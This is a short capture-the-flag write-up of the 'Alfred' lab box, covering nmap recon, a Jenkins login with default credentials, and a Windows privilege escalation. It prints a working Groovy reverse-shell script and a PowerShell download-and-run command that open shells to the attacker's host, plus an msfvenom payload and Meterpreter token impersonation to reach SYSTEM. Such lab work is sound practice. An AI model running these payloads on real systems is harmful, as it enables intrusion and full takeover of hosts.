2 minute read

Alfred

Reconnaissance

IP: 10.10.145.120 / restart 10.10.49.243

NMAP

nmap -T4 -A -p- 10.10.145.120

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-12 10:41 EDT
Nmap scan report for 10.10.145.120
Host is up (0.048s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
3389/tcp open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=alfred
| Not valid before: 2025-03-11T14:37:48
|_Not valid after:  2025-09-10T14:37:48
| rdp-ntlm-info: 
|   Target_Name: ALFRED
|   NetBIOS_Domain_Name: ALFRED
|   NetBIOS_Computer_Name: ALFRED
|   DNS_Domain_Name: alfred
|   DNS_Computer_Name: alfred
|   Product_Version: 6.1.7601
|_  System_Time: 2025-03-12T14:44:15+00:00
|_ssl-date: 2025-03-12T14:44:20+00:00; -38s from scanner time.
8080/tcp open  http               Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2008|7|8.1 (87%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1:r1
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (87%), Microsoft Windows Server 2008 (86%), Microsoft Windows Server 2008 R2 or Windows 8 (86%), Microsoft Windows 7 SP1 (86%), Microsoft Windows 8.1 R1 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -38s, deviation: 0s, median: -38s

TRACEROUTE (using port 8080/tcp)
HOP RTT      ADDRESS
1   59.42 ms 10.8.0.1
2   43.55 ms 10.10.145.120

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.18 seconds

Website

Site

http://10.10.145.120


http://10.10.145.120:8080/

admin:admin

need to restart machine (new IP 10.10.49.243)

Gaining access

as i know jenkins a little bit, we must navigate to manage jenkins/ script console https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 jenkins using Groovy language

String host="10.8.70.152";
int port=1337;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Optional

build history / project / configure

http://10.10.145.120:8080/job/project/configure

and use https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

powershell iex (New-Object Net.WebClient).DownloadString('http://10.8.70.152:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.8.70.152 -Port 1337

Privilege Escalation

systeminfo

Host Name:                 ALFRED
OS Name:                   Microsoft Windows 7 Ultimate 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          bruce
Registered Organization:   
Product ID:                00426-OEM-9154295-64842
Original Install Date:     10/25/2019, 9:51:08 PM
System Boot Time:          3/12/2025, 2:55:36 PM
System Manufacturer:       Xen
System Model:              HVM domU
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2300 Mhz
BIOS Version:              Xen 4.11.amazon, 8/24/2006
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     2,048 MB
Available Physical Memory: 1,242 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,187 MB
Virtual Memory: In Use:    908 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: KB976902
Network Card(s):           1 NIC(s) Installed.
                           [01]: AWS PV Network Device
                                 Connection Name: Local Area Connection 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.0.1
                                 IP address(es)
                                 [01]: 10.10.49.243
                                 [02]: fe80::5c8b:7d1b:1e0:2dd2



msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.8.70.152 LPORT=4444 -f exe -o shell.exe

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.8.70.152:80/shell.exe','shell.exe')"

powershell.exe Start-Process "shell.exe"

load incognito
getprivs
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
shell


ps
migrate 2688


C:\Windows\System32\config\root.txt

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